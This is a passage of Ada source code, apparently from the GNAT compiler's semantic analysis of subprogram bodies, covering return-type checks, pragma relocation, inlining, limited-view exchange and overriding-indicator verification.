there is -- no point at which the non-limited view will become visible. if Ada_Version >= Ada_2012 then if From_Limited_With (Typ) and then In_Package_Body then Error_Msg_NE ("invalid use of incomplete type&", Result_Definition (N), Typ); -- The return type of a subprogram body cannot be of a -- formal incomplete type. elsif Is_Generic_Type (Typ) and then Nkind (Parent (N)) = N_Subprogram_Body then Error_Msg_N ("return type cannot be a formal incomplete type", Result_Definition (N)); elsif Is_Class_Wide_Type (Typ) and then Is_Generic_Type (Root_Type (Typ)) and then Nkind (Parent (N)) = N_Subprogram_Body then Error_Msg_N ("return type cannot be a formal incomplete type", Result_Definition (N)); elsif Is_Tagged_Type (Typ) then null; -- Use is legal in a thunk generated for an operation -- inherited from a progenitor. elsif Is_Thunk (Designator) and then Present (Non_Limited_View (Typ)) then null; elsif Nkind (Parent (N)) = N_Subprogram_Body or else Nkind (Parent (Parent (N))) in N_Accept_Statement | N_Entry_Body then Error_Msg_NE ("invalid use of untagged incomplete type&", Designator, Typ); end if; -- The type must be completed in the current package. This -- is checked at the end of the package declaration when -- Taft-amendment types are identified. If the return type -- is class-wide, there is no required check, the type can -- be a bona fide TAT. if Ekind (Scope (Current_Scope)) = E_Package and then In_Private_Part (Scope (Current_Scope)) and then not Is_Class_Wide_Type (Typ) then Append_Elmt (Designator, Private_Dependents (Typ)); end if; else Error_Msg_NE ("invalid use of incomplete type&", Designator, Typ); end if; end if; end if; -- Case where result definition does indicate an error else Set_Etype (Designator, Any_Type); end if; end Analyze_Return_Type; ----------------------------- -- Analyze_Subprogram_Body -- ----------------------------- procedure Analyze_Subprogram_Body (N : Node_Id) is Loc : constant Source_Ptr := Sloc (N); Body_Spec : constant Node_Id := Specification (N); Body_Id : constant Entity_Id := Defining_Entity (Body_Spec); begin if Debug_Flag_C then Write_Str ("==> subprogram body "); Write_Name (Chars (Body_Id)); Write_Str (" from "); Write_Location (Loc); Write_Eol; Indent; end if; Trace_Scope (N, Body_Id, " Analyze subprogram: "); -- The real work is split out into the helper, so it can do "return;" -- without skipping the debug output: Analyze_Subprogram_Body_Helper (N); if Debug_Flag_C then Outdent; Write_Str ("<== subprogram body "); Write_Name (Chars (Body_Id)); Write_Str (" from "); Write_Location (Loc); Write_Eol; end if; end Analyze_Subprogram_Body; ------------------------------------ -- Analyze_Subprogram_Body_Helper -- ------------------------------------ -- This procedure is called for regular subprogram bodies, generic bodies, -- and for subprogram stubs of both kinds. In the case of stubs, only the -- specification matters, and is used to create a proper declaration for -- the subprogram, or to perform conformance checks. -- WARNING: This routine manages Ghost regions. Return statements must be -- replaced by gotos that jump to the end of the routine and restore the -- Ghost mode. procedure Analyze_Subprogram_Body_Helper (N : Node_Id) is Body_Spec : Node_Id := Specification (N); Body_Id : Entity_Id := Defining_Entity (Body_Spec); Loc : constant Source_Ptr := Sloc (N); Prev_Id : constant Entity_Id := Current_Entity_In_Scope (Body_Id); Body_Nod : Node_Id := Empty; Minimum_Acc_Objs : List_Id := No_List; Conformant : Boolean; Desig_View : Entity_Id := Empty; Exch_Views : Elist_Id := No_Elist; HSS : Node_Id; Mask_Types : Elist_Id := No_Elist; Prot_Typ : Entity_Id := Empty; Spec_Decl : Node_Id := Empty; Spec_Id : Entity_Id; Last_Real_Spec_Entity : Entity_Id := Empty; -- When we analyze a separate spec, the entity chain ends up containing -- the formals, as well as any itypes generated during analysis of the -- default expressions for parameters, or the arguments of associated -- precondition/postcondition pragmas (which are analyzed in the context -- of the spec since they have visibility on formals). -- -- These entities belong with the spec and not the body. However we do -- the analysis of the body in the context of the spec (again to obtain -- visibility to the formals), and all the entities generated during -- this analysis end up also chained to the entity chain of the spec. -- But they really belong to the body, and there is circuitry to move -- them from the spec to the body. -- -- However, when we do this move, we don't want to move the real spec -- entities (first para above) to the body. The Last_Real_Spec_Entity -- variable points to the last real spec entity, so we only move those -- chained beyond that point. It is initialized to Empty to deal with -- the case where there is no separate spec. function Body_Has_Contract return Boolean; -- Check whether unanalyzed body has an aspect or pragma that may -- generate a SPARK contract. function Body_Has_SPARK_Mode_On return Boolean; -- Check whether SPARK_Mode On applies to the subprogram body, either -- because it is specified directly on the body, or because it is -- inherited from the enclosing subprogram or package. function Build_Internal_Protected_Declaration (N : Node_Id) return Entity_Id; -- A subprogram body without a previous spec that appears in a protected -- body must be expanded separately to create a subprogram declaration -- for it, in order to resolve internal calls to it from other protected -- operations. -- -- Possibly factor this with Exp_Dist.Copy_Specification ??? procedure Build_Subprogram_Declaration; -- Create a matching subprogram declaration for subprogram body N procedure Check_Anonymous_Return; -- Ada 2005: if a function returns an access type that denotes a task, -- or a type that contains tasks, we must create a master entity for -- the anonymous type, which typically will be used in an allocator -- in the body of the function. procedure Check_Inline_Pragma (Spec : in out Node_Id); -- Look ahead to recognize a pragma that may appear after the body. -- If there is a previous spec, check that it appears in the same -- declarative part. If the pragma is Inline_Always, perform inlining -- unconditionally, otherwise only if Front_End_Inlining is requested. -- If the body acts as a spec, and inlining is required, we create a -- subprogram declaration for it, in order to attach the body to inline. -- If pragma does not appear after the body, check whether there is -- an inline pragma before any local declarations. procedure Check_Missing_Return; -- Checks for a function with a no return statements, and also performs -- the warning checks implemented by Check_Returns. In formal mode, also -- verify that a function ends with a RETURN and that a procedure does -- not contain any RETURN. function Disambiguate_Spec return Entity_Id; -- When a primitive is declared between the private view and the full -- view of a concurrent type which implements an interface, a special -- mechanism is used to find the corresponding spec of the primitive -- body. function Exchange_Limited_Views (Subp_Id : Entity_Id) return Elist_Id; -- Ada 2012 (AI05-0151): Detect whether the profile of Subp_Id contains -- incomplete types coming from a limited context and replace their -- limited views with the non-limited ones. Return the list of changes -- to be used to undo the transformation. procedure Generate_Minimum_Accessibility (Extra_Access : Entity_Id; Related_Form : Entity_Id := Empty); -- Generate a minimum accessibility object for a given extra -- accessibility formal (Extra_Access) and its related formal if it -- exists. function Is_Private_Concurrent_Primitive (Subp_Id : Entity_Id) return Boolean; -- Determine whether subprogram Subp_Id is a primitive of a concurrent -- type that implements an interface and has a private view. function Mask_Unfrozen_Types (Spec_Id : Entity_Id) return Elist_Id; -- N is the body generated for an expression function that is not a -- completion and Spec_Id the defining entity of its spec. Mark all -- the not-yet-frozen types referenced by the simple return statement -- of the function as formally frozen. procedure Move_Pragmas (From : Node_Id; To : Node_Id); -- Find all suitable source pragmas at the top of subprogram body -- From's declarations and move them after arbitrary node To. -- One exception is pragma SPARK_Mode which is copied rather than moved, -- as it applies to the body too. procedure Restore_Limited_Views (Restore_List : Elist_Id); -- Undo the transformation done by Exchange_Limited_Views. procedure Set_Trivial_Subprogram (N : Node_Id); -- Sets the Is_Trivial_Subprogram flag in both spec and body of the -- subprogram whose body is being analyzed. N is the statement node -- causing the flag to be set, if the following statement is a return -- of an entity, we mark the entity as set in source to suppress any -- warning on the stylized use of function stubs with a dummy return. procedure Unmask_Unfrozen_Types (Unmask_List : Elist_Id); -- Undo the transformation done by Mask_Unfrozen_Types procedure Verify_Overriding_Indicator; -- If there was a previous spec, the entity has been entered in the -- current scope previously. If the body itself carries an overriding -- indicator, check that it is consistent with the known status of the -- entity. ----------------------- -- Body_Has_Contract -- ----------------------- function Body_Has_Contract return Boolean is Decls : constant List_Id := Declarations (N); Item : Node_Id; begin -- Check for aspects that may generate a contract if Present (Aspect_Specifications (N)) then Item := First (Aspect_Specifications (N)); while Present (Item) loop if Is_Subprogram_Contract_Annotation (Item) then return True; end if; Next (Item); end loop; end if; -- Check for pragmas that may generate a contract if Present (Decls) then Item := First (Decls); while Present (Item) loop if Nkind (Item) = N_Pragma and then Is_Subprogram_Contract_Annotation (Item) then return True; end if; Next (Item); end loop; end if; return False; end Body_Has_Contract; ---------------------------- -- Body_Has_SPARK_Mode_On -- ---------------------------- function Body_Has_SPARK_Mode_On return Boolean is Decls : constant List_Id := Declarations (N); Item : Node_Id; begin -- Check for SPARK_Mode aspect if Present (Aspect_Specifications (N)) then Item := First (Aspect_Specifications (N)); while Present (Item) loop if Get_Aspect_Id (Item) = Aspect_SPARK_Mode then return Get_SPARK_Mode_From_Annotation (Item) = On; end if; Next (Item); end loop; end if; -- Check for SPARK_Mode pragma if Present (Decls) then Item := First (Decls); while Present (Item) loop -- Pragmas that apply to a subprogram body are usually grouped -- together. Look for a potential pragma SPARK_Mode among them. if Nkind (Item) = N_Pragma then if Get_Pragma_Id (Item) = Pragma_SPARK_Mode then return Get_SPARK_Mode_From_Annotation (Item) = On; end if; -- Otherwise the first non-pragma declarative item terminates -- the region where pragma SPARK_Mode may appear. else exit; end if; Next (Item); end loop; end if; -- Otherwise, the applicable SPARK_Mode is inherited from the -- enclosing subprogram or package. return SPARK_Mode = On; end Body_Has_SPARK_Mode_On; ------------------------------------------ -- Build_Internal_Protected_Declaration -- ------------------------------------------ function Build_Internal_Protected_Declaration (N : Node_Id) return Entity_Id is procedure Analyze_Pragmas (From : Node_Id); -- Analyze all pragmas which follow arbitrary node From --------------------- -- Analyze_Pragmas -- --------------------- procedure Analyze_Pragmas (From : Node_Id) is Decl : Node_Id; begin Decl := Next (From); while Present (Decl) loop if Nkind (Decl) = N_Pragma then Analyze_Pragma (Decl); -- No candidate pragmas are available for analysis else exit; end if; Next (Decl); end loop; end Analyze_Pragmas; -- Local variables Body_Id : constant Entity_Id := Defining_Entity (N); Loc : constant Source_Ptr := Sloc (N); Decl : Node_Id; Formal : Entity_Id; Formals : List_Id; Spec : Node_Id; Spec_Id : Entity_Id; -- Start of processing for Build_Internal_Protected_Declaration begin Formal := First_Formal (Body_Id); -- The protected operation always has at least one formal, namely the -- object itself, but it is only placed in the parameter list if -- expansion is enabled. if Present (Formal) or else Expander_Active then Formals := Copy_Parameter_List (Body_Id); else Formals := No_List; end if; Spec_Id := Make_Defining_Identifier (Sloc (Body_Id), Chars => Chars (Body_Id)); -- Indicate that the entity comes from source, to ensure that cross- -- reference information is properly generated. The body itself is -- rewritten during expansion, and the body entity will not appear in -- calls to the operation. Set_Comes_From_Source (Spec_Id, True); if Nkind (Specification (N)) = N_Procedure_Specification then Spec := Make_Procedure_Specification (Loc, Defining_Unit_Name => Spec_Id, Parameter_Specifications => Formals); else Spec := Make_Function_Specification (Loc, Defining_Unit_Name => Spec_Id, Parameter_Specifications => Formals, Result_Definition => New_Occurrence_Of (Etype (Body_Id), Loc)); end if; Decl := Make_Subprogram_Declaration (Loc, Specification => Spec); Set_Corresponding_Body (Decl, Body_Id); Set_Corresponding_Spec (N, Spec_Id); Insert_Before (N, Decl); -- Associate all aspects and pragmas of the body with the spec. This -- ensures that these annotations apply to the initial declaration of -- the subprogram body. Move_Aspects (From => N, To => Decl); Move_Pragmas (From => N, To => Decl); Analyze (Decl); -- The analysis of the spec may generate pragmas which require manual -- analysis. Since the generation of the spec and the relocation of -- the annotations is driven by the expansion of the stand-alone -- body, the pragmas will not be analyzed in a timely manner. Do this -- now. Analyze_Pragmas (Decl); -- This subprogram has convention Intrinsic as per RM 6.3.1(10/2) -- ensuring in particular that 'Access is illegal. Set_Convention (Spec_Id, Convention_Intrinsic); Set_Has_Completion (Spec_Id); return Spec_Id; end Build_Internal_Protected_Declaration; ---------------------------------- -- Build_Subprogram_Declaration -- ---------------------------------- procedure Build_Subprogram_Declaration is Decl : Node_Id; Subp_Decl : Node_Id; begin -- Create a matching subprogram spec using the profile of the body. -- The structure of the tree is identical, but has new entities for -- the defining unit name and formal parameters. Subp_Decl := Make_Subprogram_Declaration (Loc, Specification => Copy_Subprogram_Spec (Body_Spec)); Set_Comes_From_Source (Subp_Decl, True); -- Also mark parameters as coming from source if Present (Parameter_Specifications (Specification (Subp_Decl))) then declare Form : Entity_Id; begin Form := First (Parameter_Specifications (Specification (Subp_Decl))); while Present (Form) loop Set_Comes_From_Source (Defining_Identifier (Form), True); Next (Form); end loop; end; end if; -- Relocate the aspects and relevant pragmas from the subprogram body -- to the generated spec because it acts as the initial declaration. Insert_Before (N, Subp_Decl); Move_Aspects (N, To => Subp_Decl); Move_Pragmas (N, To => Subp_Decl); -- Ensure that the generated corresponding spec and original body -- share the same SPARK_Mode pragma or aspect. As a result, both have -- the same SPARK_Mode attributes, and the global SPARK_Mode value is -- correctly set for local subprograms. Copy_SPARK_Mode_Aspect (Subp_Decl, To => N); Analyze (Subp_Decl); -- Propagate the attributes Rewritten_For_C and Corresponding_Proc to -- the body since the expander may generate calls using that entity. -- Required to ensure that Expand_Call rewrites calls to this -- function by calls to the built procedure. if Transform_Function_Array and then Nkind (Body_Spec) = N_Function_Specification and then Rewritten_For_C (Defining_Entity (Specification (Subp_Decl))) then Set_Rewritten_For_C (Defining_Entity (Body_Spec)); Set_Corresponding_Procedure (Defining_Entity (Body_Spec), Corresponding_Procedure (Defining_Entity (Specification (Subp_Decl)))); end if; -- Analyze any relocated source pragmas or pragmas created for aspect -- specifications. Decl := Next (Subp_Decl); while Present (Decl) loop -- Stop the search for pragmas once the body has been reached as -- this terminates the region where pragmas may appear. if Decl = N then exit; elsif Nkind (Decl) = N_Pragma then Analyze (Decl); end if; Next (Decl); end loop; Spec_Id := Defining_Entity (Subp_Decl); Set_Corresponding_Spec (N, Spec_Id); -- Mark the generated spec as a source construct to ensure that all -- calls to it are properly registered in ALI files for GNATprove. Set_Comes_From_Source (Spec_Id, True); -- Ensure that the specs of the subprogram declaration and its body -- are identical, otherwise they will appear non-conformant due to -- rewritings in the default values of formal parameters. Body_Spec := Copy_Subprogram_Spec (Body_Spec); Set_Specification (N, Body_Spec); Body_Id := Analyze_Subprogram_Specification (Body_Spec); end Build_Subprogram_Declaration; ---------------------------- -- Check_Anonymous_Return -- ---------------------------- procedure Check_Anonymous_Return is Decl : Node_Id; Par : Node_Id; Scop : Entity_Id; begin if Present (Spec_Id) then Scop := Spec_Id; else Scop := Body_Id; end if; if Ekind (Scop) = E_Function and then Ekind (Etype (Scop)) = E_Anonymous_Access_Type and then not Is_Thunk (Scop) -- Skip internally built functions which handle the case of -- a null access (see Expand_Interface_Conversion) and then not (Is_Interface (Designated_Type (Etype (Scop))) and then not Comes_From_Source (Parent (Scop))) and then (Has_Task (Designated_Type (Etype (Scop))) or else (Is_Class_Wide_Type (Designated_Type (Etype (Scop))) and then Is_Limited_Record (Designated_Type (Etype (Scop))))) and then Expander_Active then Decl := Build_Master_Declaration (Loc); if Present (Declarations (N)) then Prepend (Decl, Declarations (N)); else Set_Declarations (N, New_List (Decl)); end if; Set_Master_Id (Etype (Scop), Defining_Identifier (Decl)); Set_Has_Master_Entity (Scop); -- Now mark the containing scope as a task master Par := N; while Nkind (Par) /= N_Compilation_Unit loop Par := Parent (Par); pragma Assert (Present (Par)); -- If we fall off the top, we are at the outer level, and -- the environment task is our effective master, so nothing -- to mark. if Nkind (Par) in N_Task_Body | N_Block_Statement | N_Subprogram_Body then Set_Is_Task_Master (Par, True); exit; end if; end loop; end if; end Check_Anonymous_Return; ------------------------- -- Check_Inline_Pragma -- ------------------------- procedure Check_Inline_Pragma (Spec : in out Node_Id) is Prag : Node_Id; Plist : List_Id; function Is_Inline_Pragma (N : Node_Id) return Boolean; -- True when N is a pragma Inline or Inline_Always that applies -- to this subprogram. ----------------------- -- Is_Inline_Pragma -- ----------------------- function Is_Inline_Pragma (N : Node_Id) return Boolean is begin if Nkind (N) = N_Pragma and then (Pragma_Name_Unmapped (N) = Name_Inline_Always or else (Pragma_Name_Unmapped (N) = Name_Inline and then (Front_End_Inlining or else Optimization_Level > 0))) and then Present (Pragma_Argument_Associations (N)) then declare Pragma_Arg : Node_Id := Expression (First (Pragma_Argument_Associations (N))); begin if Nkind (Pragma_Arg) = N_Selected_Component then Pragma_Arg := Selector_Name (Pragma_Arg); end if; return Chars (Pragma_Arg) = Chars (Body_Id); end; else return False; end if; end Is_Inline_Pragma; -- Start of processing for Check_Inline_Pragma begin if not Expander_Active then return; end if; if Is_List_Member (N) and then Present (Next (N)) and then Is_Inline_Pragma (Next (N)) then Prag := Next (N); elsif Nkind (N) /= N_Subprogram_Body_Stub and then Present (Declarations (N)) and then Is_Inline_Pragma (First (Declarations (N))) then Prag := First (Declarations (N)); else Prag := Empty; end if; if Present (Prag) and then Is_List_Member (N) then if Present (Spec_Id) then if Is_List_Member (Unit_Declaration_Node (Spec_Id)) and then In_Same_List (N, Unit_Declaration_Node (Spec_Id)) then Analyze (Prag); end if; else -- Create a subprogram declaration, to make treatment uniform. -- Make the sloc of the subprogram name that of the entity in -- the body, so that style checks find identical strings. declare Subp : constant Entity_Id := Make_Defining_Identifier (Sloc (Body_Id), Chars (Body_Id)); Decl : constant Node_Id := Make_Subprogram_Declaration (Loc, Specification => New_Copy_Tree (Specification (N))); begin -- Link the body and the generated spec Set_Corresponding_Body (Decl, Body_Id); if Nkind (N) = N_Subprogram_Body_Stub then Set_Corresponding_Spec_Of_Stub (N, Subp); else Set_Corresponding_Spec (N, Subp); end if; Set_Defining_Unit_Name (Specification (Decl), Subp); -- To ensure proper coverage when body is inlined, indicate -- whether the subprogram comes from source. Preserve_Comes_From_Source (Subp, N); if Present (First_Formal (Body_Id)) then Plist := Copy_Parameter_List (Body_Id); Set_Parameter_Specifications (Specification (Decl), Plist); end if; -- Move aspects to the new spec if Has_Aspects (N) then Move_Aspects (N, To => Decl); end if; Insert_Before (N, Decl); Analyze (Decl); Analyze (Prag); Set_Has_Pragma_Inline (Subp); if Pragma_Name (Prag) = Name_Inline_Always then Set_Is_Inlined (Subp); Set_Has_Pragma_Inline_Always (Subp); end if; -- Prior to copying the subprogram body to create a template -- for it for subsequent inlining, remove the pragma from -- the current body so that the copy that will produce the -- new body will start from a completely unanalyzed tree. if Nkind (Parent (Prag)) = N_Subprogram_Body then Rewrite (Prag, Make_Null_Statement (Sloc (Prag))); end if; Spec := Subp; end; end if; end if; end Check_Inline_Pragma; -------------------------- -- Check_Missing_Return -- -------------------------- procedure Check_Missing_Return is Id : Entity_Id; Missing_Ret : Boolean; begin if Nkind (Body_Spec) = N_Function_Specification then if Present (Spec_Id) then Id := Spec_Id; else Id := Body_Id; end if; if Return_Present (Id) then Check_Returns (HSS, 'F', Missing_Ret); if Missing_Ret then Set_Has_Missing_Return (Id); end if; -- Within a premature instantiation of a package with no body, we -- build completions of the functions therein, with a Raise -- statement. No point in complaining about a missing return in -- this case. elsif Ekind (Id) = E_Function and then In_Instance and then Present (Statements (HSS)) and then Nkind (First (Statements (HSS))) = N_Raise_Program_Error then null; elsif Is_Generic_Subprogram (Id) or else not Is_Machine_Code_Subprogram (Id) then Error_Msg_N ("missing RETURN statement in function body", N); end if; -- If procedure with No_Return, check returns elsif Nkind (Body_Spec) = N_Procedure_Specification then if Present (Spec_Id) then Id := Spec_Id; else Id := Body_Id; end if; if No_Return (Id) then Check_Returns (HSS, 'P', Missing_Ret, Id); end if; end if; end Check_Missing_Return; ----------------------- -- Disambiguate_Spec -- ----------------------- function Disambiguate_Spec return Entity_Id is Priv_Spec : Entity_Id; Spec_N : Entity_Id; procedure Replace_Types (To_Corresponding : Boolean); -- Depending on the flag, replace the type of formal parameters of -- Body_Id if it is a concurrent type implementing interfaces with -- the corresponding record type or the other way around. procedure Replace_Types (To_Corresponding : Boolean) is Formal : Entity_Id; Formal_Typ : Entity_Id; begin Formal := First_Formal (Body_Id); while Present (Formal) loop Formal_Typ := Etype (Formal); if Is_Class_Wide_Type (Formal_Typ) then Formal_Typ := Root_Type (Formal_Typ); end if; -- From concurrent type to corresponding record if To_Corresponding then if Is_Concurrent_Type (Formal_Typ) and then Present (Corresponding_Record_Type (Formal_Typ)) and then Present (Interfaces (Corresponding_Record_Type (Formal_Typ))) then Set_Etype (Formal, Corresponding_Record_Type (Formal_Typ)); end if; -- From corresponding record to concurrent type else if Is_Concurrent_Record_Type (Formal_Typ) and then Present (Interfaces (Formal_Typ)) then Set_Etype (Formal, Corresponding_Concurrent_Type (Formal_Typ)); end if; end if; Next_Formal (Formal); end loop; end Replace_Types; -- Start of processing for Disambiguate_Spec begin -- Try to retrieve the specification of the body as is. All error -- messages are suppressed because the body may not have a spec in -- its current state. Spec_N := Find_Corresponding_Spec (N, False); -- It is possible that this is the body of a primitive declared -- between a private and a full view of a concurrent type. The -- controlling parameter of the spec carries the concurrent type, -- not the corresponding record type as transformed by Analyze_ -- Subprogram_Specification. In such cases, we undo the change -- made by the analysis of the specification and try to find the -- spec again. -- Note that wrappers already have their corresponding specs and -- bodies set during their creation, so if the candidate spec is -- a wrapper, then we definitely need to swap all types to their -- original concurrent status. if No (Spec_N) or else Is_Primitive_Wrapper (Spec_N) then -- Restore all references of corresponding record types to the -- original concurrent types. Replace_Types (To_Corresponding => False); Priv_Spec := Find_Corresponding_Spec (N, False); -- The current body truly belongs to a primitive declared between -- a private and a full view. We leave the modified body as is, -- and return the true spec. if Present (Priv_Spec) and then Is_Private_Primitive (Priv_Spec) then return Priv_Spec; end if; -- In case that this is some sort of error, restore the original -- state of the body. Replace_Types (To_Corresponding => True); end if; return Spec_N; end Disambiguate_Spec; ---------------------------- -- Exchange_Limited_Views -- ---------------------------- function Exchange_Limited_Views (Subp_Id : Entity_Id) return Elist_Id is Result : Elist_Id := No_Elist; procedure Detect_And_Exchange (Id : Entity_Id); -- Determine whether Id's type denotes an incomplete type associated -- with a limited with clause and exchange the limited view with the -- non-limited one when available. Note that the non-limited view -- may exist because of a with_clause in another unit in the context, -- but cannot be used because the current view of the enclosing unit -- is still a limited view. ------------------------- -- Detect_And_Exchange -- ------------------------- procedure Detect_And_Exchange (Id : Entity_Id) is Typ : constant Entity_Id := Etype (Id); begin if From_Limited_With (Typ) and then Has_Non_Limited_View (Typ) and then not From_Limited_With (Scope (Typ)) then if No (Result) then Result := New_Elmt_List; end if; Prepend_Elmt (Typ, Result); Prepend_Elmt (Id, Result); Set_Etype (Id, Non_Limited_View (Typ)); end if; end Detect_And_Exchange; -- Local variables Formal : Entity_Id; -- Start of processing for Exchange_Limited_Views begin -- Do not process subprogram bodies as they already use the non- -- limited view of types. if Ekind (Subp_Id) not in E_Function | E_Procedure then return No_Elist; end if; -- Examine all formals and swap views when applicable Formal := First_Formal (Subp_Id); while Present (Formal) loop Detect_And_Exchange (Formal); Next_Formal (Formal); end loop; -- Process the return type of a function if Ekind (Subp_Id) = E_Function then Detect_And_Exchange (Subp_Id); end if; return Result; end Exchange_Limited_Views; ------------------------------------ -- Generate_Minimum_Accessibility -- ------------------------------------ procedure Generate_Minimum_Accessibility (Extra_Access : Entity_Id; Related_Form : Entity_Id := Empty) is Loc : constant Source_Ptr := Sloc (Body_Nod); Form : Entity_Id; Obj_Node : Node_Id; begin -- When no related formal exists then we are dealing with an -- extra accessibility formal for a function result. if No (Related_Form) then Form := Extra_Access; else Form := Related_Form; end if; -- Create the minimum accessibility object Obj_Node := Make_Object_Declaration (Loc, Defining_Identifier => Make_Temporary (Loc, 'A', Extra_Access), Object_Definition => New_Occurrence_Of (Standard_Natural, Loc), Expression => Make_Attribute_Reference (Loc, Prefix => New_Occurrence_Of (Standard_Natural, Loc), Attribute_Name => Name_Min, Expressions => New_List ( Make_Integer_Literal (Loc, Scope_Depth (Body_Id)), New_Occurrence_Of (Extra_Access, Loc)))); -- Add the new local object to the Minimum_Acc_Obj to -- be later prepended to the subprogram's list of -- declarations after we are sure all expansion is -- done. if Present (Minimum_Acc_Objs) then Prepend (Obj_Node, Minimum_Acc_Objs); else Minimum_Acc_Objs := New_List (Obj_Node); end if; -- Register the object and analyze it Set_Minimum_Accessibility (Form, Defining_Identifier (Obj_Node)); Analyze (Obj_Node); end Generate_Minimum_Accessibility; ------------------------------------- -- Is_Private_Concurrent_Primitive -- ------------------------------------- function Is_Private_Concurrent_Primitive (Subp_Id : Entity_Id) return Boolean is Formal_Typ : Entity_Id; begin if Present (First_Formal (Subp_Id)) then Formal_Typ := Etype (First_Formal (Subp_Id)); if Is_Concurrent_Record_Type (Formal_Typ) then if Is_Class_Wide_Type (Formal_Typ) then Formal_Typ := Root_Type (Formal_Typ); end if; Formal_Typ := Corresponding_Concurrent_Type (Formal_Typ); end if; -- The type of the first formal is a concurrent tagged type with -- a private view. return Is_Concurrent_Type (Formal_Typ) and then Is_Tagged_Type (Formal_Typ) and then Has_Private_Declaration (Formal_Typ); end if; return False; end Is_Private_Concurrent_Primitive; ------------------------- -- Mask_Unfrozen_Types -- ------------------------- function Mask_Unfrozen_Types (Spec_Id : Entity_Id) return Elist_Id is Result : Elist_Id := No_Elist; function Mask_Type_Refs (Node : Node_Id) return Traverse_Result; -- Mask all types referenced in the subtree rooted at Node as -- formally frozen. -------------------- -- Mask_Type_Refs -- -------------------- function Mask_Type_Refs (Node : Node_Id) return Traverse_Result is procedure Mask_Type (Typ : Entity_Id); -- Mask a given type as formally frozen when outside the current -- scope, or else freeze the type. --------------- -- Mask_Type -- --------------- procedure Mask_Type (Typ : Entity_Id) is begin -- Skip Itypes created by the preanalysis if Is_Itype (Typ) and then Scope_Within_Or_Same (Scope (Typ), Spec_Id) then return; end if; if not Is_Frozen (Typ) then if Scope (Typ) /= Current_Scope then Set_Is_Frozen (Typ); Append_New_Elmt (Typ, Result); else Freeze_Before (N, Typ); end if; end if; end Mask_Type; -- Start of processing for Mask_Type_Refs begin if Is_Entity_Name (Node) and then Present (Entity (Node)) then Mask_Type (Etype (Entity (Node))); if Ekind (Entity (Node)) in E_Component | E_Discriminant then Mask_Type (Scope (Entity (Node))); end if; elsif Nkind (Node) in N_Aggregate | N_Null | N_Type_Conversion and then Present (Etype (Node)) then Mask_Type (Etype (Node)); end if; return OK; end Mask_Type_Refs; procedure Mask_References is new Traverse_Proc (Mask_Type_Refs); -- Local variables Return_Stmt : constant Node_Id := First (Statements (Handled_Statement_Sequence (N))); -- Start of processing for Mask_Unfrozen_Types begin pragma Assert (Nkind (Return_Stmt) = N_Simple_Return_Statement); Mask_References (Expression (Return_Stmt)); return Result; end Mask_Unfrozen_Types; ------------------ -- Move_Pragmas -- ------------------ procedure Move_Pragmas (From : Node_Id; To : Node_Id) is Decl : Node_Id; Insert_Nod : Node_Id; Next_Decl : Node_Id; begin pragma Assert (Nkind (From) = N_Subprogram_Body); -- The pragmas are moved in an order-preserving fashion Insert_Nod := To; -- Inspect the declarations of the subprogram body and relocate all -- candidate pragmas. Decl := First (Declarations (From)); while Present (Decl) loop -- Preserve the following declaration for iteration purposes, due -- to possible relocation of a pragma. Next_Decl := Next (Decl); if Nkind (Decl) = N_Pragma then -- Copy pragma SPARK_Mode if present in the declarative list -- of subprogram body From and insert it after node To. This -- pragma should not be moved, as it applies to the body too. if Pragma_Name_Unmapped (Decl) = Name_SPARK_Mode then Insert_After (Insert_Nod, New_Copy_Tree (Decl)); -- Move relevant pragmas to the spec elsif Pragma_Name_Unmapped (Decl) in Name_Depends | Name_Ghost | Name_Global | Name_Pre | Name_Precondition | Name_Post | Name_Refined_Depends | Name_Refined_Global | Name_Refined_Post | Name_Inline | Name_Pure_Function | Name_Volatile_Function then Remove (Decl); Insert_After (Insert_Nod, Decl); Insert_Nod := Decl; end if; -- Skip internally generated code elsif not Comes_From_Source (Decl) then null; -- No candidate pragmas are available for relocation else exit; end if; Decl := Next_Decl; end loop; end Move_Pragmas; --------------------------- -- Restore_Limited_Views -- --------------------------- procedure Restore_Limited_Views (Restore_List : Elist_Id) is Elmt : Elmt_Id := First_Elmt (Restore_List); Id : Entity_Id; begin while Present (Elmt) loop Id := Node (Elmt); Next_Elmt (Elmt); Set_Etype (Id, Node (Elmt)); Next_Elmt (Elmt); end loop; end Restore_Limited_Views; ---------------------------- -- Set_Trivial_Subprogram -- ---------------------------- procedure Set_Trivial_Subprogram (N : Node_Id) is Nxt : constant Node_Id := Next (N); begin Set_Is_Trivial_Subprogram (Body_Id); if Present (Spec_Id) then Set_Is_Trivial_Subprogram (Spec_Id); end if; if Present (Nxt) and then Nkind (Nxt) = N_Simple_Return_Statement and then No (Next (Nxt)) and then Present (Expression (Nxt)) and then Is_Entity_Name (Expression (Nxt)) then Set_Never_Set_In_Source (Entity (Expression (Nxt)), False); end if; end Set_Trivial_Subprogram; --------------------------- -- Unmask_Unfrozen_Types -- --------------------------- procedure Unmask_Unfrozen_Types (Unmask_List : Elist_Id) is Elmt : Elmt_Id := First_Elmt (Unmask_List); begin while Present (Elmt) loop Set_Is_Frozen (Node (Elmt), False); Next_Elmt (Elmt); end loop; end Unmask_Unfrozen_Types; --------------------------------- -- Verify_Overriding_Indicator -- --------------------------------- procedure Verify_Overriding_Indicator is begin if Must_Override (Body_Spec) then if Nkind (Spec_Id) = N_Defining_Operator_Symbol and then Operator_Matches_Spec (Spec_Id, Spec_Id) then null; -- Overridden controlled primitives may have had their -- Overridden_Operation field cleared according to the setting of -- the Is_Hidden flag. An issue arises, however, when analyzing -- an instance that may have manipulated the flag during -- expansion. As a result, we add an exception for this case. elsif not Present (Overridden_Operation (Spec_Id)) and then not (Chars (Spec_Id) in Name_Adjust | Name_Finalize | Name_Initialize and then In_Instance) then Error_Msg_NE ("subprogram& is not overriding", Body_Spec, Spec_Id); -- Overriding indicators aren't allowed for protected subprogram -- bodies (see the Confirmation in Ada Comment AC95-00213). Change -- this to a warning if -gnatd.E is enabled. elsif Ekind (Scope (Spec_Id)) = E_Protected_Type then Error_Msg_Warn := Error_To_Warning; Error_Msg_N ("<<overriding indicator not allowed for protected " & "subprogram body", Body_Spec); end if; elsif Must_Not_Override (Body_Spec) then if Present (Overridden_Operation (Spec_Id)) then Error_Msg_NE ("subprogram& overrides inherited operation", Body_Spec, Spec_Id); elsif Nkind (Spec_Id) = N_Defining_Operator_Symbol and then Operator_Matches_Spec (Spec_Id, Spec_Id) then Error_Msg_NE ("subprogram& overrides predefined operator", Body_Spec, Spec_Id); -- Overriding indicators aren't allowed for protected subprogram -- bodies (see the Confirmation in Ada Comment AC95-00213). Change -- 